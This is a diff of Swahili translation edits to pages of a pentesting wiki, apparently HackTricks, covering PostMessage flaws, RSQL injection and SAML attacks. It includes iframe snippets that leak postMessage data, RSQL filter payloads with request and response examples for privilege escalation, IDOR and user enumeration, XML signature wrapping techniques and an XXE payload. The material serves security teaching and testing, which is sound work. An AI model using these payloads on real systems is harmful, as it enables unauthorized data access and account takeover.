@ -198,7 +195,7 @@ inaweza kufasiriwa kwa uwakilishi mwingi, ikiwa ni pamoja na:
```
Ambayo yanaweza kuunda ukosefu wa usawa
## Marejeo
## Marejeleo
- [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
- [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)

View File

@ -1,7 +1,5 @@
# PostMessage Vulnerabilities
## PostMessage Vulnerabilities
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
@ -38,7 +36,7 @@ Ikiwa **wildcard** inatumika, **ujumbe unaweza kutumwa kwa domain yoyote**, na u
### Kushambulia iframe & wildcard katika **targetOrigin**
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na ambao unatumia **ujumbe wa nyeti** kupitia **postMessage** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** ujumbe wa **nyeti** kwa domain inayodhibitiwa na wewe.\
Kama ilivyoelezwa katika [**ripoti hii**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ikiwa unapata ukurasa ambao unaweza **iframed** (hakuna ulinzi wa `X-Frame-Header`) na unatumia **postMessage** kutuma ujumbe **wa nyeti** kwa kutumia **wildcard** (\*), unaweza **kubadilisha** **asili** ya **iframe** na **kuvuja** ujumbe **wa nyeti** kwa domain inayodhibitiwa na wewe.\
Kumbuka kwamba ikiwa ukurasa unaweza kuiframed lakini **targetOrigin** imewekwa kwa URL na sio kwa wildcard, **hila hii haitafanya kazi**.
```html
<html>
@ -69,7 +67,7 @@ if (event.origin !== "http://example.org:8080") return
false
)
```
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa unatarajia kufanya **chochote nyeti** na taarifa zilizopokelewa (kama kubadilisha nywila). **Ikiwa haichungii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
Kumbuka katika kesi hii jinsi **kitu cha kwanza** ambacho msimbo unafanya ni **kuangalia asili**. Hii ni muhimu sana hasa ikiwa ukurasa utafanya **kitu chochote nyeti** na taarifa zilizopokelewa (kama kubadilisha nywila). **Ikiwa haikangalii asili, washambuliaji wanaweza kuwafanya waathirika kutuma data isiyo na mipaka kwa hizi endpoints** na kubadilisha nywila za waathirika (katika mfano huu).
### Uhesabuji
@ -84,18 +82,18 @@ Ili **kupata wasikilizaji wa matukio** katika ukurasa wa sasa unaweza:
![](<../../images/image (396).png>)
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kuonyesha kwako.
- Tumia **nyongeza ya kivinjari** kama [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) au [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Hizi nyongeza za kivinjari zitachukua **ujumbe wote** na kukuonyesha.
### Mipango ya kuangalia asili
### Mipito ya kuangalia asili
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kuipita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- **`event.isTrusted`** sifa inachukuliwa kuwa salama kwani inarudisha `True` tu kwa matukio ambayo yanatokana na vitendo halisi vya mtumiaji. Ingawa ni vigumu kupita ikiwa imewekwa vizuri, umuhimu wake katika ukaguzi wa usalama ni wa kutia maanani.
- Matumizi ya **`indexOf()`** kwa uthibitisho wa asili katika matukio ya PostMessage yanaweza kuwa na uwezekano wa kupita. Mfano unaoonyesha udhaifu huu ni:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote isipokuwa regexp kunasababisha kubadilishwa kwa kimya kuwa regex, na kufanya njia hiyo kuwa hatarishi. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
- Njia ya **`search()`** kutoka `String.prototype.search()` inakusudia kwa matumizi ya kawaida, si nyuzi. Kupitisha chochote kisichokuwa regexp kunasababisha kubadilishwa kwa kimya kuwa regex, na kufanya njia hiyo kuwa hatari. Hii ni kwa sababu katika regex, nukta (.) inafanya kazi kama wildcard, ikiruhusu kupita uthibitisho na maeneo yaliyoundwa kwa njia maalum. Kwa mfano:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
@ -120,17 +118,17 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Katika muktadha wa udhaifu huu, kitu cha `File` kinapatikana kwa urahisi kutokana na mali yake ya kusoma tu `name`. Mali hii, inapokuwa katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
Katika muktadha wa udhaifu huu, kitu cha `File` kinajulikana kuwa na uwezekano wa kutumika kutokana na mali yake ya `name` isiyo na uwezo wa kuandikwa. Mali hii, inapokuwa ikitumika katika templeti, haijasafishwa na kazi ya `escapeHtml`, ikisababisha hatari za usalama.
- Mali ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza jina la kikoa, ikiruhusu utekelezaji wa sera ya asili sawa kuwa rahisi zaidi ndani ya kikoa cha mzazi.
- Mali ya `document.domain` katika JavaScript inaweza kuwekwa na skripti ili kupunguza jina la kikoa, ikiruhusu utekelezaji wa sera ya asili kuwa rahisi zaidi ndani ya kikoa cha mzazi.
### e.origin == window.origin kupita
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zake kwenye usalama na utendaji.
Wakati wa kuingiza ukurasa wa wavuti ndani ya **iframe iliyo na sandbox** kwa kutumia %%%%%%, ni muhimu kuelewa kwamba asili ya iframe itakuwa imewekwa kuwa null. Hii ni muhimu hasa wakati wa kushughulikia **sifa za sandbox** na athari zao kwenye usalama na utendaji.
Kwa kuweka **`allow-popups`** katika sifa ya sandbox, dirisha lolote la popup lililofunguliwa kutoka ndani ya iframe linapata vizuizi vya sandbox vya mzazi wake. Hii inamaanisha kwamba isipokuwa sifa ya **`allow-popups-to-escape-sandbox`** pia imejumuishwa, asili ya dirisha la popup pia imewekwa kuwa `null`, ikilingana na asili ya iframe.
Kwa hiyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia **`postMessage`**, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa `null`. Hali hii inasababisha hali ambapo **`e.origin == window.origin`** inathibitishwa kuwa kweli (`null == null`), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya `null`.
Kwa hivyo, wakati popup inafunguliwa chini ya hali hizi na ujumbe unatumwa kutoka iframe hadi popup kwa kutumia **`postMessage`**, pande zote za kutuma na kupokea zina asili zao zimewekwa kuwa `null`. Hali hii inasababisha hali ambapo **`e.origin == window.origin`** inathibitishwa kuwa kweli (`null == null`), kwa sababu iframe na popup zinashiriki thamani sawa ya asili ya `null`.
Kwa maelezo zaidi **soma**:
@ -140,7 +138,7 @@ bypassing-sop-with-iframes-1.md
### Kupita e.source
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha sawa ambalo skripti inasikiliza (hasa ya kuvutia kwa **Mifumo ya Maudhui kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa sawa):
Inawezekana kuangalia ikiwa ujumbe ulitoka kwenye dirisha lile lile ambalo skripti inasikiliza (hasa ya kuvutia kwa **Mifumo ya Maudhui kutoka nyongeza za kivinjari** kuangalia ikiwa ujumbe ulitumwa kutoka kwenye ukurasa ule ule):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
@ -157,7 +155,7 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header bypass
Ili kutekeleza mashambulizi haya, kwa kawaida utakuwa na uwezo wa **kueka ukurasa wa wavuti wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Ili kutekeleza mashambulizi haya, kwa kawaida utakuwa na uwezo wa **kueka ukurasa wa mtandao wa mwathirika** ndani ya `iframe`. Lakini vichwa vingine kama `X-Frame-Header` vinaweza **kuzuia** hiyo **tabia**.\
Katika hali hizo, bado unaweza kutumia shambulizi ambalo halijafichwa sana. Unaweza kufungua kichupo kipya kwa programu ya wavuti iliyo hatarini na kuwasiliana nayo:
```html
<script>
@ -167,7 +165,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Kuiba ujumbe uliopelekwa kwa mtoto kwa kuzuia ukurasa mkuu
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuvuja data** kabla haijapokelewa:
Katika ukurasa ufuatao unaweza kuona jinsi unavyoweza kuiba **data nyeti za postmessage** zilizotumwa kwa **iframe ya mtoto** kwa **kuzuia** **ukurasa** **mkuu** kabla ya kutuma data na kutumia **XSS katika mtoto** ili **kuiba data** kabla haijapokelewa:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
@ -175,7 +173,7 @@ blocking-main-page-to-steal-postmessage.md
### Kuiba ujumbe kwa kubadilisha eneo la iframe
Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza **kubadilisha eneo la iframe hiyo ya mtoto**, hivyo ikiwa inapata **postmessage** iliyotumwa kwa kutumia **wildcard**, mshambuliaji anaweza **kubadilisha** **asilimia** ya iframe hiyo kuwa ukurasa **uliotawaliwa** na yeye na **kuiba** ujumbe:
Ikiwa unaweza iframe ukurasa wa wavuti bila X-Frame-Header ambao una iframe nyingine, unaweza **kubadilisha eneo la iframe hiyo ya mtoto**, hivyo ikiwa inapata **postmessage** iliyotumwa kwa kutumia **wildcard**, mshambuliaji anaweza **kubadilisha** **asilimia** ya iframe hiyo kuwa ukurasa **unaodhibitiwa** na yeye na **kuiba** ujumbe:
{{#ref}}
steal-postmessage-modifying-iframe-location.md

View File

@ -1,54 +1,50 @@
# RSQL Injection
## RSQL Injection
{{#include ../banners/hacktricks-training.md}}
## RSQL Injection
## What is RSQL?
RSQL ni lugha ya kuandika maswali iliyoundwa kwa ajili ya kuchuja pembejeo kwa kutumia vigezo katika RESTful APIs. Imejengwa kwa msingi wa FIQL (Feed Item Query Language), ambayo ilitolewa awali na Mark Nottingham kwa ajili ya kuuliza Atom feeds, RSQL inajitofautisha kwa urahisi wake na uwezo wa kueleza maswali magumu kwa njia fupi na inayokubalika na URI juu ya HTTP. Hii inafanya kuwa chaguo bora kama lugha ya maswali ya jumla kwa kutafuta mwisho wa REST.
RSQL ni lugha ya kuandika maswali iliyoundwa kwa ajili ya kuchuja parameta za ingizo katika RESTful APIs. Imejengwa kwa msingi wa FIQL (Feed Item Query Language), ambayo ilitolewa awali na Mark Nottingham kwa ajili ya kuuliza Atom feeds, RSQL inajitofautisha kwa urahisi wake na uwezo wa kueleza maswali magumu kwa njia fupi na inayokubalika na URI juu ya HTTP. Hii inafanya kuwa chaguo bora kama lugha ya jumla ya maswali kwa kutafuta mwisho wa REST.
## Overview
RSQL Injection ni udhaifu katika programu za wavuti zinazotumia RSQL kama lugha ya maswali katika RESTful APIs. Kama [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) na [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), udhaifu huu hutokea wakati vichujio vya RSQL havijasafishwa ipasavyo, ikiruhusu mshambuliaji kuingiza maswali mabaya ili kufikia, kubadilisha au kufuta data bila idhini.
RSQL Injection ni udhaifu katika programu za wavuti zinazotumia RSQL kama lugha ya maswali katika RESTful APIs. Kama ilivyo kwa [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) na [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), udhaifu huu hutokea wakati vichujio vya RSQL havijasafishwa ipasavyo, ikiruhusu mshambuliaji kuingiza maswali mabaya ili kufikia, kubadilisha au kufuta data bila idhini.
## How does it work?
RSQL inakuwezesha kujenga maswali ya juu katika RESTful APIs, kwa mfano:
```bash
/products?filter=price>100;category==electronics
```
Hii inatafsiri kama ombi lililo na muundo ambalo linachuja bidhaa zenye bei zaidi ya 100 na kundi "electronics".
Hii inatafsiri kama ombi lililo na muundo linalochuja bidhaa zenye bei zaidi ya 100 na kundi "electronics".
Ikiwa programu haitathmini ipasavyo pembejeo za mtumiaji, mshambuliaji anaweza kubadilisha chujio ili kutekeleza maombi yasiyotarajiwa, kama:
```bash
/products?filter=id=in=(1,2,3);delete_all==true
```
Au hata kutumia fursa ya kutoa taarifa nyeti kwa kutumia maswali ya Boolean au subqueries zilizozungushwa.
Au hata kutumia fursa hiyo kutoa taarifa nyeti kwa kutumia maswali ya Boolean au subqueries zilizozungushwa.
## Hatari
- **Ufunuo wa data nyeti:** Mshambuliaji anaweza kupata taarifa ambazo hazipaswi kupatikana.
- **Mabadiliko au kufutwa kwa data:** Kuingiza vichujio vinavyobadilisha rekodi za hifadhidata.
- **Kufichuliwa kwa data nyeti:** Mshambuliaji anaweza kupata taarifa ambazo hazipaswi kupatikana.
- **Mabadiliko au kufutwa kwa data:** Kuingiza vichujio vinavyobadilisha rekodi za database.
- **Kuongezeka kwa mamlaka:** Manipulation ya vitambulisho vinavyotoa majukumu kupitia vichujio ili kudanganya programu kwa kufikia kwa mamlaka ya watumiaji wengine.
- **Kuepuka udhibiti wa ufikiaji:** Manipulation ya vichujio ili kufikia data zilizozuiliwa.
- **Ujanja au IDOR:** Mabadiliko ya vitambulisho kati ya watumiaji kupitia vichujio vinavyoruhusu ufikiaji wa taarifa na rasilimali za watumiaji wengine bila kuthibitishwa ipasavyo kama hivyo.
- **Kujifanya au IDOR:** Mabadiliko ya vitambulisho kati ya watumiaji kupitia vichujio vinavyoruhusu ufikiaji wa taarifa na rasilimali za watumiaji wengine bila kuthibitishwa ipasavyo kama hivyo.
## Watoa huduma wa RSQL wanaoungwa mkono
| Opereta | Maelezo | Mfano |
## Wakati wa RSQL unaoungwa mkono
| Operator | Maelezo | Mfano |
|:----: |:----: |:------------------:|
| `;` / `and` | Opereta wa **AND** wa kimantiki. Huchuja safu ambapo *masharti yote* ni *ya kweli* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Opereta wa **OR** wa kimantiki. Huchuja safu ambapo *angalau moja* ya masharti ni *ya kweli*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `;` / `and` | Opereta wa **AND** wa kimantiki. Huchuja safu ambapo *masharti yote mawili* ni *kweli* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
| `,` / `or` | Opereta wa **OR** wa kimantiki. Huchuja safu ambapo *angalau moja* ya masharti ni *kweli*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
| `==` | Hufanya uchunguzi wa **sawa**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni sawa kabisa na *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
| `=q=` | Hufanya uchunguzi wa **kutafuta**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* zina *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
| `=like=` | Hufanya uchunguzi wa **kama**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni kama *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
| `=in=` | Hufanya uchunguzi wa **ndani**. Inarudisha safu zote kutoka *myTable* ambapo *columnA* ina *valueA* AU *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
| `=out=` | Hufanya uchunguzi wa **ondoa**. Inarudisha safu zote za *myTable* ambapo thamani katika *columnA* si *valueA* wala *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
| `!=` | Hufanya uchunguzi wa *sio sawa*. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* si sawa na *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | Hufanya uchunguzi wa **sio kama**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* si kama *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `!=` | Hufanya uchunguzi wa *siyo sawa*. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* si sawa na *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
| `=notlike=` | Hufanya uchunguzi wa **siyo kama**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* si kama *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
| `<` & `=lt=` | Hufanya uchunguzi wa **chini ya**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni chini ya *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
| `=le=` & `<=` | Hufanya uchunguzi wa **chini ya** au **sawa na**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni chini ya au sawa na *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
| `>` & `=gt=` | Hufanya uchunguzi wa **zaidi ya**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni zaidi ya *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | Hufanya uchunguzi wa **sawa na** au **zaidi ya**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni sawa na au zaidi ya *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | Hufanya uchunguzi wa **kuanzia hadi**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni sawa au zaidi ya *fromValue*, na chini ya au sawa na *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
| `>` & `=gt=` | Hufanya uchunguzi wa **juu ya**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni juu ya *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
| `>=` & `=ge=` | Hufanya uchunguzi wa **sawa na** au **juu ya**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni sawa na au juu ya *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
| `=rng=` | Hufanya uchunguzi wa **kuanzia hadi**. Inarudisha safu zote kutoka *myTable* ambapo thamani katika *columnA* ni sawa au juu ya *fromValue*, na chini ya au sawa na *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
**Kumbuka**: Jedwali lina msingi wa taarifa kutoka [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) na [**rsql-parser**](https://github.com/jirutka/rsql-parser) programu.
@ -67,7 +63,7 @@ Au hata kutumia fursa ya kutoa taarifa nyeti kwa kutumia maswali ya Boolean au s
## Vichujio vya kawaida
Vichujio hivi husaidia kuboresha maswali katika APIs:
| Kichujio | Maelezo | Mfano |
| Vichujio | Maelezo | Mfano |
|--------|------------|---------|
| `filter[users]` | Huchuja matokeo kwa watumiaji maalum | `/api/v2/myTable?filter[users]=123` |
| `filter[status]` | Huchuja kwa hali (hai/siyo hai, kukamilika, nk.) | `/api/v2/orders?filter[status]=active` |
@ -84,11 +80,11 @@ Parameta hizi husaidia kuboresha majibu ya API:
| `sort` | Hupanga matokeo kwa mpangilio wa kuongezeka au kupungua | `/api/v2/users?sort=-created_at` |
| `page[size]` | Inadhibiti idadi ya matokeo kwa kila ukurasa | `/api/v2/products?page[size]=10` |
| `page[number]` | Inabainisha nambari ya ukurasa | `/api/v2/products?page[number]=2` |
| `fields[resource]` | Inafafanua ni maeneo gani ya kurudishwa katika jibu | `/api/v2/users?fields[users]=id,name,email` |
| `fields[resource]` | Inafafanua ni vichampuli gani vya kurudisha katika jibu | `/api/v2/users?fields[users]=id,name,email` |
| `search` | Hufanya utafutaji wa kubadilika zaidi | `/api/v2/posts?search=technology` |
## Ufunuo wa taarifa na uhesabuji wa watumiaji
Ombi lifuatalo linaonyesha mwisho wa usajili ambao unahitaji parameta ya barua pepe ili kuangalia kama kuna mtumiaji yeyote aliyejiandikisha kwa barua pepe hiyo na kurudisha kweli au uongo kulingana na kama ipo katika hifadhidata:
## Kuanguka kwa taarifa na kuhesabu watumiaji
Ombi lifuatalo linaonyesha mwisho wa usajili ambao unahitaji parameta ya barua pepe ili kuangalia kama kuna mtumiaji yeyote aliyejiandikisha kwa barua pepe hiyo na kurudisha kweli au uongo kulingana na kama ipo katika database:
### Ombi
```
GET /api/registrations HTTP/1.1
@ -208,9 +204,9 @@ Access-Control-Allow-Origin: *
}
}
```
## Authorization evasion
## Kuepuka mamlaka
Katika hali hii, tunaanzia kwa mtumiaji mwenye jukumu la msingi na ambapo hatuna ruhusa za kipaumbele (kwa mfano, msimamizi) kupata orodha ya watumiaji wote waliosajiliwa katika hifadhidata:
### Request
### Ombi
```
GET /api/users HTTP/1.1
Host: localhost:3000
@ -238,7 +234,7 @@ Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
```
Tena tunatumia filters na opereta maalum ambazo zitaturuhusu njia mbadala ya kupata taarifa za watumiaji na kuepuka udhibiti wa ufikiaji. Kwa mfano, chujio kwa *watumiaji* ambao wana herufi “*a*” katika *ID* yao ya mtumiaji:
Tena tunatumia filters na operators maalum ambao watatupa njia mbadala ya kupata taarifa za watumiaji na kuepuka udhibiti wa ufikiaji. Kwa mfano, chujio kwa *watumiaji* ambao wana herufi “*a*” katika *ID* yao ya mtumiaji:
### Request
```
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
@ -312,9 +308,9 @@ Access-Control-Allow-Origin: *
}, {
................
```
## Privilege Escalation
## Kuinua Haki
Ni uwezekano mkubwa kupata mwisho fulani ambao huangalia haki za mtumiaji kupitia jukumu lao. Kwa mfano, tunashughulika na mtumiaji ambaye hana haki:
### Request
### Ombi
```
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
@ -395,7 +391,7 @@ Access-Control-Allow-Origin: *
}]
}
```
Baada ya kujua kitambulisho cha mtumiaji wa msimamizi, itakuwa inawezekana kutumia kupandisha hadhi kwa kubadilisha au kuongeza kichujio kinachofanana na kitambulisho cha msimamizi na kupata haki sawa:
Baada ya kujua kitambulisho cha mtumiaji wa msimamizi, itakuwa inawezekana kutumia kupandisha hadhi kwa kubadilisha au kuongeza kichujio kinacholingana na kitambulisho cha msimamizi na kupata haki sawa:
### Request
```
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
@ -459,7 +455,7 @@ Access-Control-Allow-Origin: *
.......
```
## Impersonate or Insecure Direct Object References (IDOR)
Mbali na matumizi ya parameter ya `filter`, inawezekana kutumia parameters nyingine kama `include` ambayo inaruhusu kujumuisha katika matokeo parameters fulani (mfano: lugha, nchi, nywila...).
Mbali na matumizi ya parameter ya `filter`, inawezekana kutumia parameta nyingine kama `include` ambayo inaruhusu kujumuisha katika matokeo parameta fulani (kwa mfano lugha, nchi, nywila...).
Katika mfano ufuatao, taarifa za wasifu wetu wa mtumiaji zinaonyeshwa:
### Request

View File

@ -1,7 +1,5 @@
# SAML Attacks
## SAML Attacks
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
@ -38,11 +36,11 @@ Kukimbia programu dhidi ya REXML 3.2.4 au toleo la awali kutasababisha matokeo y
First child in original doc: Y
First child after round-trip: Z
```
Hii ndiyo jinsi REXML ilivyoona hati ya XML ya asili kutoka kwa programu hapo juu:
Hii ndiyo jinsi REXML ilivyoona hati ya asili ya XML kutoka kwa programu hapo juu:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
Na hii ndiyo jinsi ilivyoiona baada ya mzunguko wa uchambuzi na uhamasishaji:
Na hii ndiyo jinsi ilivyoiona baada ya mzunguko wa uchambuzi na upatanishi:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
@ -59,7 +57,7 @@ Mashambulizi yafuatayo yanategemea [**hiki kipande cha blogu**](https://epi052.g
### XSW #1
- **Mkakati**: Kipengele kipya cha mzizi kinachoshikilia saini kinaongezwa.
- **Mkakati**: Kigezo kipya cha mzizi kinachoshikilia saini kinaongezwa.
- **Madhara**: Mthibitishaji anaweza kuchanganyikiwa kati ya "Jibu halali -> Uthibitisho -> Mtu" na "Jibu mbaya mpya -> Uthibitisho -> Mtu" wa mshambuliaji, na kusababisha matatizo ya uaminifu wa data.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
@ -67,27 +65,27 @@ Mashambulizi yafuatayo yanategemea [**hiki kipande cha blogu**](https://epi052.g
### XSW #2
- **Tofauti na XSW #1**: Inatumia saini isiyo na kifurushi badala ya saini inayofunga.
- **Madhara**: Muundo "mbaya", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya uthibitisho wa uaminifu.
- **Madhara**: Muundo "mbaya", kama XSW #1, unalenga kudanganya mantiki ya biashara baada ya ukaguzi wa uaminifu.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **Mkakati**: Uthibitisho mbaya unaundwa katika kiwango sawa cha hierarchal na uthibitisho wa asili.
- **Mkakati**: Uthibitisho mbaya unaundwa katika kiwango sawa cha hierarchal kama uthibitisho wa asili.
- **Madhara**: Unalenga kuchanganya mantiki ya biashara kutumia data mbaya.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
### XSW #4
- **Tofauti na XSW #3**: Uthibitisho wa asili unakuwa mtoto wa Uthibitisho ulioiga (mbaya).
- **Tofauti na XSW #3**: Uthibitisho wa asili unakuwa mtoto wa uthibitisho ulioiga (mbaya).
- **Madhara**: Kama XSW #3 lakini inabadilisha muundo wa XML kwa nguvu zaidi.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)
### XSW #5
- **Sifa Maalum**: Wala Saini wala Uthibitisho wa asili haufuati mipangilio ya kawaida (iliyofungwa/iliyofunga/isiyo na kifurushi).
- **Nafasi ya Kipekee**: Wala Saini wala Uthibitisho wa asili haufuati mipangilio ya kawaida (iliyofungwa/iliyofunga/isiyo na kifurushi).
- **Madhara**: Uthibitisho ulioiga unafunga Saini, ukibadilisha muundo wa hati inayotarajiwa.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
@ -101,7 +99,7 @@ Mashambulizi yafuatayo yanategemea [**hiki kipande cha blogu**](https://epi052.g
### XSW #7
- **Mkakati**: Kipengele cha Extensions kinatiwa na Uthibitisho ulioiga kama mtoto.
- **Mkakati**: Kipengele cha Extensions kinatiwa na uthibitisho ulioiga kama mtoto.
- **Madhara**: Hii inatumia muundo wa chini wa schema wa kipengele cha Extensions ili kupita hatua za uthibitishaji wa schema, hasa katika maktaba kama OpenSAML.
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>)
@ -125,7 +123,7 @@ Ikiwa hujui ni aina gani za mashambulizi ni XXE, tafadhali soma ukurasa ufuatao:
../xxe-xee-xml-external-entity.md
{{#endref}}
Majibu ya SAML ni **hati za XML zilizopunguzwa na kuandikwa kwa base64** na zinaweza kuwa hatarini kwa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi mashambulizi kama hayo yanaweza kuonyeshwa:
Majibu ya SAML ni **hati za XML zilizopunguzwa na zilizokodishwa kwa base64** na zinaweza kuwa na udhaifu wa mashambulizi ya XML External Entity (XXE). Kwa kubadilisha muundo wa XML wa Jibu la SAML, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hapa kuna jinsi mashambulizi kama haya yanaweza kuonyeshwa:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -157,7 +155,7 @@ Kwa maelezo zaidi kuhusu XSLT nenda kwa:
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
{{#endref}}
Mabadiliko ya Lugha ya Mtindo wa Kupanuka (XSLT) yanaweza kutumika kubadilisha hati za XML kuwa fomati mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba **mabadiliko ya XSLT yanafanywa kabla ya uthibitishaji wa saini ya dijitali**. Hii ina maana kwamba shambulio linaweza kufanikiwa hata bila saini halali; saini ya kujisaini au saini isiyo halali inatosha kuendelea.
